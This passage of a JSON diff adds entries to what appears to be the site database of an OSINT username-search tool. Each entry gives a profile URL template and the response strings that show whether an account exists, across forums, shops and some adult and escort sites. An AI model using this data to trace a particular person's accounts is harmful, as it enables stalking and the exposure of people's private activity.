}, + { + "name": "alisaclub.ru", + "url": "http://alisaclub.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Aliveshoes", + "url": "https://aliveshoes.com/brand/{}", + "category": "shopping", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "og:title" + }, + { + "name": "alka-mine.at.ua", + "url": "http://alka-mine.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "All Things Worn", + "url": "https://www.allthingsworn.com/profile/{}", + "category": "adult", + "source": "sherlock", + "nsfw": true, + "error_type": "message", + "error_string": "Sell Used Panties" + }, + { + "name": "all-gta.info", + "url": "http://all-gta.info/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "All-mods", + "url": "https://all-mods.ru/author/{}/", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "AllegroSeller", + "url": "https://allegro.pl/uzytkownik/{}_pl/sklep", + "category": "shopping", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "geo.captcha-delivery.com" + }, + { + "name": "allesovercrypto", + "url": "https://allesovercrypto.nl/user/{}", + "category": "finance", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "De opgevraagde pagina kon niet gevonden worden.", + "match_code": 200, + "match_string": "Favoriete coins" + }, + { + "name": "Alleywatch", + "url": "https://alleywatch.com/profile/{}/", + "category": "tech", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "author-photo" + }, + { + "name": "allgaz", + "url": "https://forum.allgaz.ru/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Allhockey", + "url": "https://allhockey.ru/blog/{}", + "category": "sports", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Alliance-prod", + "url": "https://alliance-prod.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "alliedmods", + "url": "https://forums.alliedmods.net//member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "AllKPop", + "url": "https://www.allkpop.com/profile/{}", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "allmobile.vo.uz", + "url": "http://allmobile.vo.uz/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "allmus.ucoz.ru", + "url": "http://allmus.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "allmylinks", + "url": "https://allmylinks.com/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Page not found" + }, + { + "name": "Alloannonces", + "url": "https://www.alloannonces.ma/{}/", + "category": "social", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Page non defini", + "match_code": 200, + "match_string": "Vendeurs/Agents" + }, + { + "name": "Allods", + "url": "https://allods.mail.ru/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Allods", + "url": "https://forum.allods.ru/member.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "AllRecipes", + "url": "https://www.allrecipes.com/cook/{}", + "category": "food", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Page Not Found.", + "match_string": "Saved Items & Collections" + }, + { + "name": "AllTheLyrics", + "url": "https://www.allthelyrics.com/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Allthelyrics", + "url": "https://www.allthelyrics.com/forum/member.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "This user has not registered and therefore does not have a profile to view." + }, + { + "name": "AllTheSoft", + "url": "http://www.allthesoft.com/member/{}.html", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Allthingsworn", + "url": "https://allthingsworn.com/profile/{}", + "category": "adult", + "source": "social_analyzer", + "nsfw": true, + "error_type": "message", + "match_string": "profileOptions" + }, + { + "name": "AllTrails", + "url": "https://www.alltrails.com/members/{}", + "category": "sports", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "You are being", + "match_string": "Profile" + }, + { + "name": "Alltrails", + "url": "https://alltrails.com/members/{}", + "category": "sports", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "User could not be found", + "match_string": "Member Since" + }, + { + "name": "Alltrails", + "url": "https://www.alltrails.com/members/{}/lists", + "category": "sports", + "source": "nexfil", + "nsfw": false + }, + { + "name": "alpanf.ucoz.ru", + "url": "http://alpanf.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Alpmsu", + "url": "https://www.alpmsu.ru/forum/user/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0435 \u0443\u043a\u0430\u0437\u0430\u043d \u043a\u043e\u0434 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f" + }, + { + "name": "AlternativeTo", + "url": "https://alternativeto.net/user/{}", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "404: This page could not be found" + }, + { + "name": "Alura", + "url": "https://cursos.alura.com.br/user/{}", + "category": "tech", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "\"error\":\"Not Found\"", + "match_code": 200, + "match_string": "Perfil de" + }, + { + "name": "Alushta24", + "url": "https://alushta24.org/user/{}/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "amateurvoyeurforum.com", + "url": "https://www.amateurvoyeurforum.com/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "amax-sb.ru", + "url": "http://amax-sb.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Amazfitwatchfaces", + "url": "https://amazfitwatchfaces.com/forum/memberlist.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Server error" + }, + { + "name": "Amazon", + "url": "https://amazon.com/author/{}", + "category": "shopping", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Sorry! We couldn't find that page", + "match_string": "authorName" + }, + { + "name": "Ameba", + "url": "https://profile.ameba.jp/ameba/{}/", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Ameblo", + "url": "https://ameblo.jp/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "THROW_NOT_FOUND_EXCEPTION", + "match_string": "profile" + }, + { + "name": "Americanthinker", + "url": "https://www.americanthinker.com/author/{}/", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "<title>American Thinker", + "match_string": "Articles:" + }, + { + "name": "aminoapp", + "url": "https://aminoapps.com/u/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Aminus3", + "url": "https://{}.aminus3.com/", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Expires", + "match_string": "image/ico" + }, + { + "name": "Amirite", + "url": "https://www.amirite.com/user/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "amp.flipboard.com", + "url": "https://amp.flipboard.com/@{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Amperka", + "url": "http://forum.amperka.ru/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Amplitude", + "url": "https://community.amplitude-studios.com/profile/{}/rewards", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "{}", + "match_string": "og:site_name" + }, + { + "name": "Anobii", + "url": "https://anobii.com/{}/profile", + "category": "news", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "No route found for", + "match_string": "profile-" + }, + { + "name": "Anonup", + "url": "https://anonup.com/@{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Page not found!", + "match_string": "Following" + }, + { + "name": "Anphabe", + "url": "https://anphabe.com/profile/{}", + "category": "tech", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "profile/{username}" + }, + { + "name": "anschula.ucoz.ru", + "url": "http://anschula.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "antalya.ucoz.ru", + "url": "http://antalya.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Antichat", + "url": "https://forum.antichat.ru//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Antichat", + "url": "https://forum.antichat.club/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found. Please enter a member's entire name." + }, + { + "name": "antihack.ucoz.net", + "url": "http://antihack.ucoz.net/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Antipunk", + "url": "https://antipunk.com/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Antique-bottles", + "url": "https://www.antique-bottles.net/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Antiquers", + "url": "https://www.antiquers.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Antiquers", + "url": "https://www.antiquers.com/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Antiscam", + "url": "https://antiscam.ru/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "antiscam.space", + "url": "https://antiscam.space/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "antivirus.moy.su", + "url": "http://antivirus.moy.su/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Antiwomen", + "url": "https://antiwomen.ru/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e" + }, + { + "name": "antizombie.ucoz.ru", + "url": "http://antizombie.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Antwiki", + "url": "https://antwiki.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Ap-pro", + "url": "https://ap-pro.ru/search/?q={}&quick=1&type=core_members", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "0 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432" + }, + { + "name": "Aparat", + "url": "https://www.aparat.com/{}", + "category": "video", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "404 - Page Not Found", + "match_string": "Profile" + }, + { + "name": "Aparat", + "url": "https://www.aparat.com/{}/", + "category": "video", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Aparat", + "url": "https://www.aparat.com/api/fa/v1/user/user/information/username/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "class=\"error-body\"", + "match_code": 200, + "match_string": "\"id\":" + }, + { + "name": "APClips", + "url": "https://apclips.com/{}", + "category": "adult", + "source": "sherlock", + "nsfw": true, + "error_type": "message", + "error_string": "Amateur Porn Content Creators" + }, + { + "name": "apelmon.od.ua", + "url": "http://apelmon.od.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Apex Legends", + "url": "https://api.tracker.gg/api/v2/apex/standard/profile/origin/{}", + "category": "gaming", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "CollectorResultStatus::NotFound", + "match_code": 200, + "match_string": "platformInfo" + }, + { + "name": "ApexLegends", + "url": "https://apex.tracker.gg/apex/profile/origin/{}/overview", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "PLAYER NOT FOUND", + "match_string": "Overview" + }, + { + "name": "Aphrodite Agency (Europe)", + "url": "https://www.aphrodite-agency.com/en/models/{}", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "meet high class escorts", + "match_string": "more about" + }, + { + "name": "Apne", + "url": "https://apne.co/member/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "userdetails" + }, + { + "name": "App", + "url": "https://app.realunify.com/users/{}", + "category": "other", + "source": "nexfil", + "nsfw": false + }, + { + "name": "app.airnfts.com", + "url": "https://app.airnfts.com/creators/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "user-not-found-div", + "match_string": "username" + }, + { + "name": "app.clan.su", + "url": "http://app.clan.su/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "app.samsungfood.com", + "url": "https://app.samsungfood.com/u/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": ">User not found
    ", + "match_string": "alternateName" + }, + { + "name": "Appearoo", + "url": "http://appearoo.com/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Appian", + "url": "https://community.appian.com/members/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Working...
    \u0412 \u0431\u0430\u0437\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f" + }, + { + "name": "Aptoide", + "url": "https://{}.en.aptoide.com/", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "status_code", + "match_string": "BreadcrumbList" + }, + { + "name": "AptoideAPP", + "url": "https://{}.en.aptoide.com/app", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "content=\"noindex, nofollow\"/>Error 404", + "match_string": ">Profile" + }, + { + "name": "Archive_predistoria", + "url": "http://archive.predistoria.org/index.php?name=Forums&file=profile&mode=viewprofile&u={}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f" + }, + { + "name": "ArchiveOfOurOwn", + "url": "https://archiveofourown.org/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Archives", + "url": "https://archives.bulbagarden.net/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Archlinux", + "url": "https://archlinux.org.ru/forum/users/{}/", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "ArchWiki", + "url": "https://wiki.archlinux.org/api.php?action=query&format=json&list=users&ususers={}&usprop=cancreate&formatversion=2&errorformat=html&errorsuselocal=true&uselang=en", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "\"missing\":true", + "match_code": 200, + "match_string": "\"userid\":" + }, + { + "name": "Arcolinuxforum", + "url": "https://arcolinuxforum.com/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Information" + }, + { + "name": "Arduino", + "url": "https://projecthub.arduino.cc/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Arduino Project Hub", + "match_string": "Arduino Project Hub" + }, + { + "name": "Arduino (Forum)", + "url": "https://forum.arduino.cc/u/{}.json", + "category": "tech", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "\"error_type\":\"not_found\"", + "match_code": 200, + "match_string": "\"id\":" + }, + { + "name": "Arduino Forum", + "url": "https://forum.arduino.cc/u/{}/summary", + "category": "forum", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "are.na", + "url": "https://www.are.na/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Are.na home", + "match_string": "Profile--view" + }, + { + "name": "AreKamrbb", + "url": "https://are.kamrbb.ru/?x=find&f={}#top", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u043c\u044b \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0448\u043b\u0438 \u0434\u043b\u044f \u0432\u0430\u0441.." + }, + { + "name": "Arhrock", + "url": "https://arhrock.info/forum/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "aribut.ru", + "url": "http://aribut.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Ariva", + "url": "https://www.ariva.de/profil/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Armavir", + "url": "http://phorum.armavir.ru/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Armchairgm", + "url": "https://armchairgm.fandom.com/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Armorgames", + "url": "https://armorgames.com/user/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Armtorg", + "url": "https://armtorg.ru/forum/memberlist.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e \u043d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043f\u043e \u0437\u0430\u0434\u0430\u043d\u043d\u044b\u043c \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044f\u043c" + }, + { + "name": "Army", + "url": "https://army.ca/forums/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "army-rus.ucoz.ru", + "url": "http://army-rus.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "armyboots.ucoz.ru", + "url": "http://armyboots.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Armycarus", + "url": "http://armycarus.do.am/index/8-0-{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "Arrse", + "url": "https://www.arrse.co.uk//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Arrse", + "url": "https://www.arrse.co.uk/community/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Arsenal-mania", + "url": "https://arsenal-mania.com/forum/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found. Please enter a member's entire name." + }, + { + "name": "Arsmate", + "url": "https://arsmate.com/{}", + "category": "adult", + "source": "blackbird", + "nsfw": true, + "error_type": "status_code", + "error_code": 404, + "error_string": "error-link mt-5", + "match_code": 200, + "match_string": "far fa-user-circle mr-1" + }, + { + "name": "Arstechnica", + "url": "https://arstechnica.com/civis/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "arstechnica", + "url": "https://arstechnica.com/author/{}/", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "status_code", + "match_code": 200 + }, + { + "name": "art-color.my1.ru", + "url": "http://art-color.my1.ru/index/8-0-{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "art-nata.my1.ru", + "url": "http://art-nata.my1.ru/index/8-0-{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "ArtBreeder", + "url": "https://www.artbreeder.com/{}", + "category": "art", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Not found:", + "match_code": 200, + "match_string": "" + }, + { + "name": "artfol.me", + "url": "https://artfol.me/{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "This user does not exist", + "match_string": "About" + }, + { + "name": "artinvestment", + "url": "https://forum.artinvestment.ru//member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Artist", + "url": "https://artist.ru/user/{}/", + "category": "art", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Artistsnclients", + "url": "https://artistsnclients.com/people/{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "artmilitaire.ru", + "url": "http://artmilitaire.ru/index/8-0-{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Artpersona", + "url": "http://artpersona.org/cb/userprofile/{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u042d\u0442\u043e\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044c \u043b\u0438\u0431\u043e \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u043b\u0438\u0431\u043e \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d." + }, + { + "name": "Artstation", + "url": "https://www.artstation.com/{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Artstation", + "url": "https://artstation.com/{}", + "category": "art", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "Page not found" + }, + { + "name": "Artsy", + "url": "https://www.artsy.net/artist/{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Aruba_CLOSEDEAD", + "url": "https://www.aruba.com/forum/members/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "This user has not registered and therefore does not have a profile to vie" + }, + { + "name": "Ascend4", + "url": "https://ascend4.org/User:{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Asciinema", + "url": "https://asciinema.org/~{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "asecurity.do.am", + "url": "http://asecurity.do.am/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Asianwiki", + "url": "https://asianwiki.com/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Ask Fedora", + "url": "https://ask.fedoraproject.org/u/{}", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "AskFM", + "url": "https://ask.fm/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Well, apparently not anymore." + }, + { + "name": "Askubuntu", + "url": "https://askubuntu.com/users/filter?search={}&filter=Month&tab=Reputation", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "No users matched your search" + }, + { + "name": "Askvoprosy", + "url": "https://askvoprosy.com/polzovateli/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "<title>" + }, + { + "name": "Aspirantura_spb", + "url": "http://www.aspirantura.spb.ru/forum/member.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "asquero.com", + "url": "https://asquero.com/user/dashboard/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Find The Best Learning Resources", + "match_string": "Tutorials" + }, + { + "name": "Astra-club", + "url": "http://www.astra-club.ru/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Astraclub", + "url": "http://astraclub.ru/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "Astraclub", + "url": "https://astraclub.ru/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "Astralinux", + "url": "https://forum.astralinux.ru/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Astralinux_CLOSEDEAD", + "url": "https://forum.astralinux.ru/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "Astro-talks", + "url": "http://www.astro-talks.ru/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Astro-talks", + "url": "https://www.astro-talks.ru/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + 